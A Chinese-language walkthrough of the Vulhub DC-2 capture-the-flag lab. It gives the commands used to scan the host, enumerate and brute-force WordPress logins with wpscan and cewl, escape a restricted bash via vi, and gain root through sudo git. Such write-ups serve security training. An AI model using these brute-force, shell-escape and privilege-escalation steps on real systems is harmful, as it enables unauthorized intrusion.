[vulhub靶机通关]DC-2(rbash绕过_git提权)

实验步骤

1.信息收集

主机探测

plain 复制代码
nmap -sP 192.168.89.0/24

端口扫描

80和ssh是开着的

但发现打不开网站 会重定向到dc-2 我们修改本地的hosts

找到了flag1

提示我们要用cewl 发现网页使用的是wordpress cms

我们用wpscan 扫描网页

plain 复制代码
wpscan -url http://dc-2 -e u

找到了用户名

在用cewl去扫描网站找到密码

plain 复制代码
cewl http://dc-2 -w password.txt
plain 复制代码
wpscan --url http://dc-2 -U user.txt -P password.txt

找到了jerry和tom的密码

plain 复制代码
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

我们把网站进行目录扫描

plain 复制代码
dirb http://dc-2

找到了登陆页面

我们用tom的身份登陆进去 发现什么都没有 用jerry去登录

找到了flag2 提示我们exp不能用 我们试着ssh去连接

plain 复制代码
ssh tom@192.168.89.146 -p 7744

2.rbash绕过 提权

plain 复制代码
RBASH 绕过
什么是 RBASH
RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。

RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:

不能使用 cd 命令来改变当前目录。

不能使用 set 命令来改变环境变量或 shell 选项。

不能使用 unset 命令来取消环境变量或 shell 函数。

不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。

不能重定向输入或输出,例如使用 >, <, >>, << 等符号。

只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。

RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。

需要绕过rbash

可以使用的命令是vi

plain 复制代码
vi:set shell=/bin/sh
运行shell:shell

执行后会绕过rbash
我们在添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
plain 复制代码
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们需要su 到jerry用户里

plain 复制代码
BASH_[x]=/bin/bash
x
这样也可以绕过
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

在jerry家目录下找到了flag4

提权到root 使用git提权

plain 复制代码
sudo git help config
	!/bin/bash或者!'sh'完成提权
 
sudo git  -p help
	!/bin/bash

在root目录下找到了最终flag

相关推荐
wasp5207 小时前
做了技术管理后,我发现技术和管理其实可以兼得
java·运维·网络
赖small强7 小时前
【Linux 网络基础】HTTPS 技术文档
linux·网络·https·tls
雲烟8 小时前
嵌入式设备EMC安规检测参考
网络·单片机·嵌入式硬件
合作小小程序员小小店8 小时前
图书管理系统,基于winform+sql sever,开发语言c#,数据库mysql
开发语言·数据库·sql·microsoft·c#
Yue丶越8 小时前
【C语言】数据在内存中的存储
c语言·开发语言·网络
Altair12318 小时前
nginx的https的搭建
运维·网络·nginx·云计算
李宥小哥8 小时前
Redis10-原理-网络模型
开发语言·网络·php
Umi·9 小时前
iptables的源地址伪装
运维·服务器·网络
在路上看风景9 小时前
6.4 LANS
网络
阿巴~阿巴~11 小时前
自定义协议设计与实践:从协议必要性到JSON流式处理
服务器·网络·网络协议·json·操作系统·自定义协议